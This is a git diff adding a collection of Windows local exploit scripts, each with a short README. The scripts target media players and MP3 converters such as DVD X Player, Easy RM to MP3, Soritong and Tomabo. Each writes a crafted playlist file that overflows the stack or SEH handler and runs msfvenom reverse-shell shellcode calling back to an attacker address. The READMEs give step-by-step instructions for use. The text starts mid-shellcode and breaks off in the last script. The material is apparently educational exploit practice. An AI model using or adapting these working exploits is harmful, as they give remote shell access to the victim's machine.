"\x6f\xc1\x09\xc6\x82\x16\x20\x85\xca\xdb\x09\x35"+shellcode += "\x0b\x74\x19\x46\x39\xdb\xb1\xc0\x71\x94\x1f\x17"+shellcode += "\x75\x8f\xd8\x87\x88\x30\x19\x8e\x4e\x64\x49\xb8"+shellcode += "\x67\x05\x02\x38\x87\xd0\x85\x68\x27\x8b\x65\xd8"+shellcode += "\x87\x7b\x0e\x32\x08\xa3\x2e\x3d\xc2\xcc\xc5\xc4"+shellcode += "\x85\x32\xb1\x98\xd5\xdb\xc0\x24\xac\x72\x4c\xc2"+shellcode += "\x3a\x95\x18\x5d\xd3\x0c\x01\x15\x42\xd0\x9f\x50"+shellcode += "\x44\x5a\x2c\xa5\x0b\xab\x59\xb5\xfc\x5b\x14\xe7"+shellcode += "\xab\x64\x82\x8f\x30\xf6\x49\x4f\x3e\xeb\xc5\x18"+shellcode += "\x17\xdd\x1f\xcc\x85\x44\xb6\xf2\x57\x10\xf1\xb6"+shellcode += "\x83\xe1\xfc\x37\x41\x5d\xdb\x27\x9f\x5e\x67\x13"+shellcode += "\x4f\x09\x31\xcd\x29\xe3\xf3\xa7\xe3\x58\x5a\x2f"+shellcode += "\x75\x93\x5d\x29\x7a\xfe\x2b\xd5\xcb\x57\x6a\xea"+shellcode += "\xe4\x3f\x7a\x93\x18\xa0\x85\x4e\x99\xd0\xcf\xd2"+shellcode += "\x88\x78\x96\x87\x88\xe4\x29\x72\xce\x10\xaa\x76"+shellcode += "\xaf\xe6\xb2\xf3\xaa\xa3\x74\xe8\xc6\xbc\x10\x0e"+shellcode += "\x74\xbc\x30"++#----------------------------------------------------------------------------------#+# (*) Badchars = '\x00\x0a\x0d\xf' #+# #+# (1) Crash to nseh 757-bytes #+# (2) nshe = '\xeb\x06\x90\x90' #+# (3) seh = '\xee\x04\x01\x66' pop pop ret | [libiconv-2.dll] #+# (4) shellcode space = 1215 #+#----------------------------------------------------------------------------------#+# SEH Exploit Structure: #+# \----------------> #+# [AAA..................AAA] [nseh] [seh] [BBB..................BBB] #+# \--------------------------------------> #+# <-------/ #+#----------------------------------------------------------------------------------#++buffer = ''+buffer += 'http://'+buffer += '\x41' * 757+buffer += '\xeb\x06\x90\x90'+buffer += '\xee\x04\x01\x66'+buffer += '\x90' * 20+buffer += shellcode+buffer += '\x44' * (2000 - 757 - 4 - 4 - 20 - len(shellcode))++data = open(filename, 'w')+data.write(buffer)+data.close()+print '[*] File created'diff --git a/Penetration Testing/exploits/windows/local/DVDX-Player-5.5-Pro/README.md b/Penetration Testing/exploits/windows/local/DVDX-Player-5.5-Pro/README.mdnew file mode 100644index 0000000..17e8174--- /dev/null+++ b/Penetration Testing/exploits/windows/local/DVDX-Player-5.5-Pro/README.md@@ -0,0 +1,14 @@+DVD X Player 5.5 Pro SEH Stack Buffer Overflow+==============================================++Author: Amonsec</br>+Published: Jun 19 2017</br>+CVE: NaN</br>+Type: Local</br>+Platform: Windows</br>++- Generate the 'rekt.plf' file+- Start the DVD X player application+- Select the 'Later' option+- Start an handler in our attacking machine+- Select Open -> Open Playlist -> rekt.plfdiff --git a/Penetration Testing/exploits/windows/local/DVDX-Player-5.5-Pro/exploit.py b/Penetration Testing/exploits/windows/local/DVDX-Player-5.5-Pro/exploit.pynew file mode 100644index 0000000..c30430a--- /dev/null+++ b/Penetration Testing/exploits/windows/local/DVDX-Player-5.5-Pro/exploit.py@@ -0,0 +1,50 @@+#!/usr/bin/python+import sys+import struct++# Windows XP SP3 Professional+# 6032CF97 5E POP ESI+# Badchars: \x00 \x0A \x0D \x1A+# msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.80.129 -b '\x00\x0A\x0D\x1A' -a x86 -f c++shellcode = (+"\xdb\xc4\xba\xf9\xad\x06\x10\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"+"\x52\x31\x57\x17\x03\x57\x17\x83\x3e\xa9\xe4\xe5\x3c\x5a\x6a"+"\x05\xbc\x9b\x0b\x8f\x59\xaa\x0b\xeb\x2a\x9d\xbb\x7f\x7e\x12"+"\x37\x2d\x6a\xa1\x35\xfa\x9d\x02\xf3\xdc\x90\x93\xa8\x1d\xb3"+"\x17\xb3\x71\x13\x29\x7c\x84\x52\x6e\x61\x65\x06\x27\xed\xd8"+"\xb6\x4c\xbb\xe0\x3d\x1e\x2d\x61\xa2\xd7\x4c\x40\x75\x63\x17"+"\x42\x74\xa0\x23\xcb\x6e\xa5\x0e\x85\x05\x1d\xe4\x14\xcf\x6f"+"\x05\xba\x2e\x40\xf4\xc2\x77\x67\xe7\xb0\x81\x9b\x9a\xc2\x56"+"\xe1\x40\x46\x4c\x41\x02\xf0\xa8\x73\xc7\x67\x3b\x7f\xac\xec"+"\x63\x9c\x33\x20\x18\x98\xb8\xc7\xce\x28\xfa\xe3\xca\x71\x58"+"\x8d\x4b\xdc\x0f\xb2\x8b\xbf\xf0\x16\xc0\x52\xe4\x2a\x8b\x3a"+"\xc9\x06\x33\xbb\x45\x10\x40\x89\xca\x8a\xce\xa1\x83\x14\x09"+"\xc5\xb9\xe1\x85\x38\x42\x12\x8c\xfe\x16\x42\xa6\xd7\x16\x09"+"\x36\xd7\xc2\x9e\x66\x77\xbd\x5e\xd6\x37\x6d\x37\x3c\xb8\x52"+"\x27\x3f\x12\xfb\xc2\xba\xf5\xc4\xbb\x94\x84\xad\xb9\x14\xfd"+"\x44\x37\xf2\x6b\x87\x11\xad\x03\x3e\x38\x25\xb5\xbf\x96\x40"+"\xf5\x34\x15\xb5\xb8\xbc\x50\xa5\x2d\x4d\x2f\x97\xf8\x52\x85"+"\xbf\x67\xc0\x42\x3f\xe1\xf9\xdc\x68\xa6\xcc\x14\xfc\x5a\x76"+"\x8f\xe2\xa6\xee\xe8\xa6\x7c\xd3\xf7\x27\xf0\x6f\xdc\x37\xcc"+"\x70\x58\x63\x80\x26\x36\xdd\x66\x91\xf8\xb7\x30\x4e\x53\x5f"+"\xc4\xbc\x64\x19\xc9\xe8\x12\xc5\x78\x45\x63\xfa\xb5\x01\x63"+"\x83\xab\xb1\x8c\x5e\x68\xc1\xc6\xc2\xd9\x4a\x8f\x97\x5b\x17"+"\x30\x42\x9f\x2e\xb3\x66\x60\xd5\xab\x03\x65\x91\x6b\xf8\x17"+"\x8a\x19\xfe\x84\xab\x0b")++filename = 'rekt.plf'++nseh = '\xeb\x06\x90\x90' # jmp 0x00000006+seh = struct.pack('<L', 0x6032CF97) # NSEH offset++buffer = ''+buffer += '\x41' * 608+buffer += nseh+buffer += seh+buffer += shellcode+buffer += '\x44' * (2000 - 608 - 8 - len(shellcode))++data = open(filename, 'w')+data.write(buffer)+data.close()diff --git a/Penetration Testing/exploits/windows/local/Easy-RM-to-MP3/README.md b/Penetration Testing/exploits/windows/local/Easy-RM-to-MP3/README.mdnew file mode 100644index 0000000..33ee4ee--- /dev/null+++ b/Penetration Testing/exploits/windows/local/Easy-RM-to-MP3/README.md@@ -0,0 +1,13 @@+Easy RM to MP3 Conversion Utility Stack Buffer Overflow+=======================================================++Author: Amonsec</br>+Published: Jun 21 2017</br>+CVE: Nan</br>+Type: Local</br>+Platform: Windows</br>++- Generate the 'rekt.m3u' file+- Start the Easy RM to MP3 Conversion Utility application+- Skip with the 'OK' button the configuration form+- Use the 'Load' button to load the 'rekt.m3u' filediff --git a/Penetration Testing/exploits/windows/local/Easy-RM-to-MP3/exploit.py b/Penetration Testing/exploits/windows/local/Easy-RM-to-MP3/exploit.pynew file mode 100644index 0000000..3da84a7--- /dev/null+++ b/Penetration Testing/exploits/windows/local/Easy-RM-to-MP3/exploit.py@@ -0,0 +1,75 @@+#!/usr/bin/env python+import struct++#----------------------------------------------------------------------------------#+# Exploit: Easy RM to MP3 Conversion Utility Stack Buffer Overflow #+# OS Tested: XP PRO SP3 (Professional) #+# Author: Amonsec #+# Software: https://www.exploit-db.com/apps/ #+# 707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe #+#----------------------------------------------------------------------------------#+# I wrote this exploit for educational purposes # #+#----------------------------------------------------------------------------------#+filename = 'rekt.m3u'++#-----------------------------------------------------------------------------------------------------------------------------------------------------#+# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -f python -v shellcode -b '\x00' EXITFUNC=process #+#-----------------------------------------------------------------------------------------------------------------------------------------------------#+shellcode = ""+shellcode += "\xbd\x81\x95\xfd\xc9\xd9\xf6\xd9\x74\x24\xf4\x5e"+shellcode += "\x2b\xc9\xb1\x52\x83\xc6\x04\x31\x6e\x0e\x03\xef"+shellcode += "\x9b\x1f\x3c\x13\x4b\x5d\xbf\xeb\x8c\x02\x49\x0e"+shellcode += "\xbd\x02\x2d\x5b\xee\xb2\x25\x09\x03\x38\x6b\xb9"+shellcode += "\x90\x4c\xa4\xce\x11\xfa\x92\xe1\xa2\x57\xe6\x60"+shellcode += "\x21\xaa\x3b\x42\x18\x65\x4e\x83\x5d\x98\xa3\xd1"+shellcode += "\x36\xd6\x16\xc5\x33\xa2\xaa\x6e\x0f\x22\xab\x93"+shellcode += "\xd8\x45\x9a\x02\x52\x1c\x3c\xa5\xb7\x14\x75\xbd"+shellcode += "\xd4\x11\xcf\x36\x2e\xed\xce\x9e\x7e\x0e\x7c\xdf"+shellcode += "\x4e\xfd\x7c\x18\x68\x1e\x0b\x50\x8a\xa3\x0c\xa7"+shellcode += "\xf0\x7f\x98\x33\x52\x0b\x3a\x9f\x62\xd8\xdd\x54"+shellcode += "\x68\x95\xaa\x32\x6d\x28\x7e\x49\x89\xa1\x81\x9d"+shellcode += "\x1b\xf1\xa5\x39\x47\xa1\xc4\x18\x2d\x04\xf8\x7a"+shellcode += "\x8e\xf9\x5c\xf1\x23\xed\xec\x58\x2c\xc2\xdc\x62"+shellcode += "\xac\x4c\x56\x11\x9e\xd3\xcc\xbd\x92\x9c\xca\x3a"+shellcode += "\xd4\xb6\xab\xd4\x2b\x39\xcc\xfd\xef\x6d\x9c\x95"+shellcode += "\xc6\x0d\x77\x65\xe6\xdb\xd8\x35\x48\xb4\x98\xe5"+shellcode += "\x28\x64\x71\xef\xa6\x5b\x61\x10\x6d\xf4\x08\xeb"+shellcode += "\xe6\x3b\x64\xad\x76\xd3\x77\x51\x0d\x4d\xf1\xb7"+shellcode += "\x9b\x9d\x57\x60\x34\x07\xf2\xfa\xa5\xc8\x28\x87"+shellcode += "\xe6\x43\xdf\x78\xa8\xa3\xaa\x6a\x5d\x44\xe1\xd0"+shellcode += "\xc8\x5b\xdf\x7c\x96\xce\x84\x7c\xd1\xf2\x12\x2b"+shellcode += "\xb6\xc5\x6a\xb9\x2a\x7f\xc5\xdf\xb6\x19\x2e\x5b"+shellcode += "\x6d\xda\xb1\x62\xe0\x66\x96\x74\x3c\x66\x92\x20"+shellcode += "\x90\x31\x4c\x9e\x56\xe8\x3e\x48\x01\x47\xe9\x1c"+shellcode += "\xd4\xab\x2a\x5a\xd9\xe1\xdc\x82\x68\x5c\x99\xbd"+shellcode += "\x45\x08\x2d\xc6\xbb\xa8\xd2\x1d\x78\xd8\x98\x3f"+shellcode += "\x29\x71\x45\xaa\x6b\x1c\x76\x01\xaf\x19\xf5\xa3"+shellcode += "\x50\xde\xe5\xc6\x55\x9a\xa1\x3b\x24\xb3\x47\x3b"+shellcode += "\x9b\xb4\x4d"++#----------------------------------------------------------------------------------#+# (*) Badchars = '\x00' #+# #+# (1) Crash to EIP 26064-bytes #+# (2) JMP ESP 0x1001b058 [MSRMfilter03.dll] #+# (3) shellcode space = 3900 #+#----------------------------------------------------------------------------------#+# Stack Based Overflow Exploit Structure: #+# #+# #+# [AAA..................AAA] [EIP] [BBB..................BBB] #+# \-------------------------------> \--------> #+# #+#----------------------------------------------------------------------------------#++buffer = ''+buffer += '\x41' * 26064+buffer += struct.pack('<L', 0x1001b058)+buffer += '\x90' * 32+buffer += shellcode+buffer += '\x43' * (30000 - 26064 - 4 - 32 - len(shellcode))++data = open(filename, 'w')+data.write(buffer)+data.close()+print '[*] File created'diff --git a/Penetration Testing/exploits/windows/local/Millenium-MP3-Studio/README.md b/Penetration Testing/exploits/windows/local/Millenium-MP3-Studio/README.mdnew file mode 100644index 0000000..717561e--- /dev/null+++ b/Penetration Testing/exploits/windows/local/Millenium-MP3-Studio/README.md@@ -0,0 +1,13 @@+Millenium MP3 Studio SEH Stack Buffer Overflow+==============================================++Author: Amonsec</br>+Published: Jun 23 2017</br>+CVE: NaN</br>+Type: Local</br>+Platform: Windows</br>++- Generate the 'rekt.m3u' file+- Start the Millenium MP3 Studio application+- Start an handler in your attacking machine+- Drag and drop the 'rekt.m3u' file into the applicationdiff --git a/Penetration Testing/exploits/windows/local/Millenium-MP3-Studio/exploit.py b/Penetration Testing/exploits/windows/local/Millenium-MP3-Studio/exploit.pynew file mode 100644index 0000000..319b3fc--- /dev/null+++ b/Penetration Testing/exploits/windows/local/Millenium-MP3-Studio/exploit.py@@ -0,0 +1,75 @@+#!/usr/bin/env python+import struct++#----------------------------------------------------------------------------------#+# Exploit: Millenium MP3 Studio SEH Stack Buffer Overflow #+# OS Tested: XP PRO SP3 (Professional) #+# Author: Amonsec #+# Software: https://www.exploit-db.com/apps/ #+# 3c35dc3d6067fcc50f118500eb116c0b-millennium1.exe #+#----------------------------------------------------------------------------------#++filename = 'rekt.m3u'++#-----------------------------------------------------------------------------------------------------------------------------------------------------------------#+# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -f python -v shellcode -b '\x00\x0a\x0d\x1a' EXITFUNC=process #+#-----------------------------------------------------------------------------------------------------------------------------------------------------------------#+shellcode = ""+shellcode += "\xbf\x66\x22\xf7\x38\xd9\xd0\xd9\x74\x24\xf4\x58"+shellcode += "\x33\xc9\xb1\x52\x31\x78\x12\x03\x78\x12\x83\xa6"+shellcode += "\x26\x15\xcd\xda\xcf\x5b\x2e\x22\x10\x3c\xa6\xc7"+shellcode += "\x21\x7c\xdc\x8c\x12\x4c\x96\xc0\x9e\x27\xfa\xf0"+shellcode += "\x15\x45\xd3\xf7\x9e\xe0\x05\x36\x1e\x58\x75\x59"+shellcode += "\x9c\xa3\xaa\xb9\x9d\x6b\xbf\xb8\xda\x96\x32\xe8"+shellcode += "\xb3\xdd\xe1\x1c\xb7\xa8\x39\x97\x8b\x3d\x3a\x44"+shellcode += "\x5b\x3f\x6b\xdb\xd7\x66\xab\xda\x34\x13\xe2\xc4"+shellcode += "\x59\x1e\xbc\x7f\xa9\xd4\x3f\xa9\xe3\x15\x93\x94"+shellcode += "\xcb\xe7\xed\xd1\xec\x17\x98\x2b\x0f\xa5\x9b\xe8"+shellcode += "\x6d\x71\x29\xea\xd6\xf2\x89\xd6\xe7\xd7\x4c\x9d"+shellcode += "\xe4\x9c\x1b\xf9\xe8\x23\xcf\x72\x14\xaf\xee\x54"+shellcode += "\x9c\xeb\xd4\x70\xc4\xa8\x75\x21\xa0\x1f\x89\x31"+shellcode += "\x0b\xff\x2f\x3a\xa6\x14\x42\x61\xaf\xd9\x6f\x99"+shellcode += "\x2f\x76\xe7\xea\x1d\xd9\x53\x64\x2e\x92\x7d\x73"+shellcode += "\x51\x89\x3a\xeb\xac\x32\x3b\x22\x6b\x66\x6b\x5c"+shellcode += "\x5a\x07\xe0\x9c\x63\xd2\xa7\xcc\xcb\x8d\x07\xbc"+shellcode += "\xab\x7d\xe0\xd6\x23\xa1\x10\xd9\xe9\xca\xbb\x20"+shellcode += "\x7a\x35\x93\x74\xfa\xdd\xe6\x88\x80\x74\x6e\x6e"+shellcode += "\x1e\x97\x26\x39\xb7\x0e\x63\xb1\x26\xce\xb9\xbc"+shellcode += "\x69\x44\x4e\x41\x27\xad\x3b\x51\xd0\x5d\x76\x0b"+shellcode += "\x77\x61\xac\x23\x1b\xf0\x2b\xb3\x52\xe9\xe3\xe4"+shellcode += "\x33\xdf\xfd\x60\xae\x46\x54\x96\x33\x1e\x9f\x12"+shellcode += "\xe8\xe3\x1e\x9b\x7d\x5f\x05\x8b\xbb\x60\x01\xff"+shellcode += "\x13\x37\xdf\xa9\xd5\xe1\x91\x03\x8c\x5e\x78\xc3"+shellcode += "\x49\xad\xbb\x95\x55\xf8\x4d\x79\xe7\x55\x08\x86"+shellcode += "\xc8\x31\x9c\xff\x34\xa2\x63\x2a\xfd\xd2\x29\x76"+shellcode += "\x54\x7b\xf4\xe3\xe4\xe6\x07\xde\x2b\x1f\x84\xea"+shellcode += "\xd3\xe4\x94\x9f\xd6\xa1\x12\x4c\xab\xba\xf6\x72"+shellcode += "\x18\xba\xd2"++#----------------------------------------------------------------------------------#+# (*) Badchars = '\x00\x0a\x0d\x1a' #+# #+# (1) Crash to nseh 4103-bytes #+# (2) nshe = '\xeb\x20\x90\x90' #+# (3) seh = '\xa7\x0b\x02\x10' pop pop ret | [xaudio.dll] #+# (4) shellcode space = 1350 #+#----------------------------------------------------------------------------------#+# SEH Exploit Structure: #+# \----------------> #+# [AAA..................AAA] [nseh] [seh] [BBB..................BBB] #+# \--------------------------------------> #+# <-------/ #+#----------------------------------------------------------------------------------#+buffer = ''+buffer += 'http://'+buffer += '\x41' * 4103+buffer += '\xeb\x20\x90\x90'+buffer += struct.pack('<L', 0x10020ba7)+buffer += '\x90' * 50+buffer += shellcode+buffer += '\x44' * (5000 - 4103 - 8 - 50 - len(shellcode))++data = open(filename, 'w')+data.write(buffer)+data.close()+print '[*] File created'diff --git a/Penetration Testing/exploits/windows/local/Soritong-MP3-Player-1.0/README.md b/Penetration Testing/exploits/windows/local/Soritong-MP3-Player-1.0/README.mdnew file mode 100644index 0000000..093a876--- /dev/null+++ b/Penetration Testing/exploits/windows/local/Soritong-MP3-Player-1.0/README.md@@ -0,0 +1,13 @@+Soritong MP3 Player 1.0 SEH Stack Buffer Overflow+=================================================++Author: Amonsec</br>+Published: Jun 22 2017</br>+CVE: NaN</br>+Type: Local</br>+Platform: Windows</br>++- Generate the 'rekt.m3u' file+- Start the Soriting MP3 PLayer application+- Start and handler in our attacking machine+- OF -> Open File -> 'rekt.m3u'diff --git a/Penetration Testing/exploits/windows/local/Soritong-MP3-Player-1.0/exploit.py b/Penetration Testing/exploits/windows/local/Soritong-MP3-Player-1.0/exploit.pynew file mode 100644index 0000000..8388f26--- /dev/null+++ b/Penetration Testing/exploits/windows/local/Soritong-MP3-Player-1.0/exploit.py@@ -0,0 +1,77 @@+#!/usr/bin/env python+import struct++#----------------------------------------------------------------------------------#+# Exploit: Soritong MP3 Player 1.0 SEH Stack Buffer Overflow #+# OS Tested: XP PRO SP3 (Professional #+# Author: Amonsec #+# Software: https://www.exploit-db.com/apps/ #+# a1def037869c831496bda3d81b0d06f5-soritong10.exe #+#----------------------------------------------------------------------------------#+# I wrote this exploit for educational purposes, in order to learn how to bypass #+# SEH security. #+#----------------------------------------------------------------------------------#++filename = 'rekt.m3u'++#-----------------------------------------------------------------------------------------------------------------------------------------------------#+# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -f python -v shellcode -b '\x00' EXITFUNC=process #+#-----------------------------------------------------------------------------------------------------------------------------------------------------#+shellcode = ""+shellcode += "\xbd\xcd\x26\xd4\x1b\xdb\xdb\xd9\x74\x24\xf4\x5e"+shellcode += "\x29\xc9\xb1\x52\x31\x6e\x12\x03\x6e\x12\x83\x0b"+shellcode += "\x22\x36\xee\x6f\xc3\x34\x11\x8f\x14\x59\x9b\x6a"+shellcode += "\x25\x59\xff\xff\x16\x69\x8b\xad\x9a\x02\xd9\x45"+shellcode += "\x28\x66\xf6\x6a\x99\xcd\x20\x45\x1a\x7d\x10\xc4"+shellcode += "\x98\x7c\x45\x26\xa0\x4e\x98\x27\xe5\xb3\x51\x75"+shellcode += "\xbe\xb8\xc4\x69\xcb\xf5\xd4\x02\x87\x18\x5d\xf7"+shellcode += "\x50\x1a\x4c\xa6\xeb\x45\x4e\x49\x3f\xfe\xc7\x51"+shellcode += "\x5c\x3b\x91\xea\x96\xb7\x20\x3a\xe7\x38\x8e\x03"+shellcode += "\xc7\xca\xce\x44\xe0\x34\xa5\xbc\x12\xc8\xbe\x7b"+shellcode += "\x68\x16\x4a\x9f\xca\xdd\xec\x7b\xea\x32\x6a\x08"+shellcode += "\xe0\xff\xf8\x56\xe5\xfe\x2d\xed\x11\x8a\xd3\x21"+shellcode += "\x90\xc8\xf7\xe5\xf8\x8b\x96\xbc\xa4\x7a\xa6\xde"+shellcode += "\x06\x22\x02\x95\xab\x37\x3f\xf4\xa3\xf4\x72\x06"+shellcode += "\x34\x93\x05\x75\x06\x3c\xbe\x11\x2a\xb5\x18\xe6"+shellcode += "\x4d\xec\xdd\x78\xb0\x0f\x1e\x51\x77\x5b\x4e\xc9"+shellcode += "\x5e\xe4\x05\x09\x5e\x31\x89\x59\xf0\xea\x6a\x09"+shellcode += "\xb0\x5a\x03\x43\x3f\x84\x33\x6c\x95\xad\xde\x97"+shellcode += "\x7e\x12\xb6\xc9\xfe\xfa\xc5\xf5\x84\x93\x40\x13"+shellcode += "\x12\x74\x05\x8c\x8b\xed\x0c\x46\x2d\xf1\x9a\x23"+shellcode += "\x6d\x79\x29\xd4\x20\x8a\x44\xc6\xd5\x7a\x13\xb4"+shellcode += "\x70\x84\x89\xd0\x1f\x17\x56\x20\x69\x04\xc1\x77"+shellcode += "\x3e\xfa\x18\x1d\xd2\xa5\xb2\x03\x2f\x33\xfc\x87"+shellcode += "\xf4\x80\x03\x06\x78\xbc\x27\x18\x44\x3d\x6c\x4c"+shellcode += "\x18\x68\x3a\x3a\xde\xc2\x8c\x94\x88\xb9\x46\x70"+shellcode += "\x4c\xf2\x58\x06\x51\xdf\x2e\xe6\xe0\xb6\x76\x19"+shellcode += "\xcc\x5e\x7f\x62\x30\xff\x80\xb9\xf0\x0f\xcb\xe3"+shellcode += "\x51\x98\x92\x76\xe0\xc5\x24\xad\x27\xf0\xa6\x47"+shellcode += "\xd8\x07\xb6\x22\xdd\x4c\x70\xdf\xaf\xdd\x15\xdf"+shellcode += "\x1c\xdd\x3f"++#----------------------------------------------------------------------------------#+# (*) Badchars = '\x00' #+# #+# (1) Crash to nseh 260-bytes #+# (2) nshe = '\xeb\x06\x90\x90' #+# (3) seh = '\xf8\x04\x01\x10' pop pop ret | [Player.dll] #+# (4) shellcode space = 1350 #+#----------------------------------------------------------------------------------#+# SEH Exploit Structure: #+# \----------------> #+# [AAA..................AAA] [nseh] [seh] [BBB..................BBB] #+# \--------------------------------------> #+# <-------/ #+#----------------------------------------------------------------------------------#+buffer = ''+buffer += '\x41' * 260+buffer += '\xeb\x06\x90\x90'+buffer += struct.pack('<L', 0x100104f8)+buffer += '\x90' * 20+buffer += shellcode+buffer += '\x90' * 1000++data = open(filename, 'w')+data.write(buffer)+data.close()+print '[*] File created'diff --git a/Penetration Testing/exploits/windows/local/Tomabo-MP4Player-3.11.6/README.md b/Penetration Testing/exploits/windows/local/Tomabo-MP4Player-3.11.6/README.mdnew file mode 100644index 0000000..fe7a64d--- /dev/null+++ b/Penetration Testing/exploits/windows/local/Tomabo-MP4Player-3.11.6/README.md@@ -0,0 +1,9 @@+Tomabo MP4 Player 3.11.6 SEH Stack Buffer Overflow+==================================================++Author: Amonsec</br>+Published: Jun 24 2017</br>+CVE: NaN</br>+Type: Local</br>+Platform: Windows</br>+diff --git a/Penetration Testing/exploits/windows/local/Tomabo-MP4Player-3.11.6/exploit.py b/Penetration Testing/exploits/windows/local/Tomabo-MP4Player-3.11.6/exploit.pynew file mode 100644index 0000000..482dd4f--- /dev/null+++ b/Penetration Testing/exploits/windows/local/Tomabo-MP4Player-3.11.6/exploit.py@@ -0,0 +1,74 @@+#!/usr/bin/env python+import struct++#----------------------------------------------------------------------------------#+# Exploit: Tomabo MP4 Player 3.11.6 SEH Stack Buffer Overflow #+# OS: Tested XP PRO SP3 (Professional) #+# Author: Amonsec #+# Software: https://www.exploit-db.com/apps/ #+# c595dd801f3154c06ac3c5bf74c43c8f-mp4-player-setup.exe #+#----------------------------------------------------------------------------------#++filename = 'rekt.m3u'++#----------------------------------------------------------------------------------------------------------------------------------------------------------------#+# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -f python -v shellcode -b '\x00\x09\x0a\x0b\x0c\x0d\x1a\x20' #+#----------------------------------------------------------------------------------------------------------------------------------------------------------------#+shellcode = ""+shellcode += "\xda\xcf\xbd\xba\xa0\x2d\xcc\xd9\x74\x24\xf4\x5f"+shellcode += "\x33\xc9\xb1\x52\x31\x6f\x17\x83\xc7\x04\x03\xd5"+shellcode += "\xb3\xcf\x39\xd5\x5c\x8d\xc2\x25\x9d\xf2\x4b\xc0"+shellcode += "\xac\x32\x2f\x81\x9f\x82\x3b\xc7\x13\x68\x69\xf3"+shellcode += "\xa0\x1c\xa6\xf4\x01\xaa\x90\x3b\x91\x87\xe1\x5a"+shellcode += "\x11\xda\x35\xbc\x28\x15\x48\xbd\x6d\x48\xa1\xef"+shellcode += "\x26\x06\x14\x1f\x42\x52\xa5\x94\x18\x72\xad\x49"+shellcode += "\xe8\x75\x9c\xdc\x62\x2c\x3e\xdf\xa7\x44\x77\xc7"+shellcode += "\xa4\x61\xc1\x7c\x1e\x1d\xd0\x54\x6e\xde\x7f\x99"+shellcode += "\x5e\x2d\x81\xde\x59\xce\xf4\x16\x9a\x73\x0f\xed"+shellcode += "\xe0\xaf\x9a\xf5\x43\x3b\x3c\xd1\x72\xe8\xdb\x92"+shellcode += "\x79\x45\xaf\xfc\x9d\x58\x7c\x77\x99\xd1\x83\x57"+shellcode += "\x2b\xa1\xa7\x73\x77\x71\xc9\x22\xdd\xd4\xf6\x34"+shellcode += "\xbe\x89\x52\x3f\x53\xdd\xee\x62\x3c\x12\xc3\x9c"+shellcode += "\xbc\x3c\x54\xef\x8e\xe3\xce\x67\xa3\x6c\xc9\x70"+shellcode += "\xc4\x46\xad\xee\x3b\x69\xce\x27\xf8\x3d\x9e\x5f"+shellcode += "\x29\x3e\x75\x9f\xd6\xeb\xda\xcf\x78\x44\x9b\xbf"+shellcode += "\x38\x34\x73\xd5\xb6\x6b\x63\xd6\x1c\x04\x0e\x2d"+shellcode += "\xf7\xeb\x67\x73\x87\x84\x75\x8b\xfd\x3d\xf3\x6d"+shellcode += "\x6b\xae\x55\x26\x04\x57\xfc\xbc\xb5\x98\x2a\xb9"+shellcode += "\xf6\x13\xd9\x3e\xb8\xd3\x94\x2c\x2d\x14\xe3\x0e"+shellcode += "\xf8\x2b\xd9\x26\x66\xb9\x86\xb6\xe1\xa2\x10\xe1"+shellcode += "\xa6\x15\x69\x67\x5b\x0f\xc3\x95\xa6\xc9\x2c\x1d"+shellcode += "\x7d\x2a\xb2\x9c\xf0\x16\x90\x8e\xcc\x97\x9c\xfa"+shellcode += "\x80\xc1\x4a\x54\x67\xb8\x3c\x0e\x31\x17\x97\xc6"+shellcode += "\xc4\x5b\x28\x90\xc8\xb1\xde\x7c\x78\x6c\xa7\x83"+shellcode += "\xb5\xf8\x2f\xfc\xab\x98\xd0\xd7\x6f\xa8\x9a\x75"+shellcode += "\xd9\x21\x43\xec\x5b\x2c\x74\xdb\x98\x49\xf7\xe9"+shellcode += "\x60\xae\xe7\x98\x65\xea\xaf\x71\x14\x63\x5a\x75"+shellcode += "\x8b\x84\x4f"++#----------------------------------------------------------------------------------#+# (*) Badchars = '\x00\x09\x0a\x0b\x0c\x0d\x1a\x20' #+# #+# (1) Crash to nseh 1028-bytes #+# (2) nshe = '\xeb\x06\x90\x90' #+# (3) seh = '\x69\x9e\x48\x00' pop pop ret | [MP4Player.exe] #+# (4) shellcode space = 932 #+#----------------------------------------------------------------------------------#+# SEH Exploit Structure: #+# \----------------> #+# [AAA..................AAA] [nseh] [seh] [BBB..................BBB] #+# \--------------------------------------> #+# <-------/ #+#----------------------------------------------------------------------------------#+buffer = ''+buffer += '\x41' * 1028+buffer += '\xeb\x06\x90\x90'+buffer += struct.pack('<L', 0x00489e69)+buffer += '\x90' * 32+buffer += shellcode+buffer += '\x44' * (2000 - 1028 - 8 - 32 - len(shellcode))++data = open(filename, 'w')+data.write(buffer)+data.close()+print '[*] File created'diff --git a/Penetration Testing/exploits/windows/local/TriologicMediaPlayer-8/README.md b/Penetration Testing/exploits/windows/local/TriologicMediaPlayer-8/README.mdnew file mode 100644index 0000000..49e2784--- /dev/null+++ b/Penetration Testing/exploits/windows/local/TriologicMediaPlayer-8/README.md@@ -0,0 +1,10 @@+Triologic Media Player 8 SEH Unicode Buffer Overflow+=====================================================++Author: Amonsec</br>+Published: Jun 26 2017</br>+CVE: NaN</br>+Type: Local</br>+Platform: Windows</br>++diff --git a/Penetration Testing/exploits/windows/local/TriologicMediaPlayer-8/exploit.py b/Penetration Testing/exploits/windows/local/TriologicMediaPlayer-8/exploit.pynew file mode 100644index 0000000..bd36a89--- /dev/null+++ b/Penetration Testing/exploits/windows/local/TriologicMediaPlayer-8/exploit.py@@ -0,0 +1,66 @@+#!/usr/bin/env python++#-------------------------------------------------------------------------------#+# Exploit: Triologic Media Player 8 SEH Unicode Buffer Overflow #+# OS: Tested XP PRO SP3 (Professional) #+# Author: Amonsec #+# Software: https://www.exploit-db.com/apps/ #+# 4e68d370d54180157bf1b578407848f4-triomp8setup.exe #+#-------------------------------------------------------------------------------#++filename = 'rekt.m3u'++#------------------------------------------------------------------------------------------------------------------------------------------#+# msfvenom --platform windows -a x86 -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -e x86/unicode_upper BufferRegister=EAX #+#------------------------------------------------------------------------------------------------------------------------------------------#+shellcode = ''+shellcode += 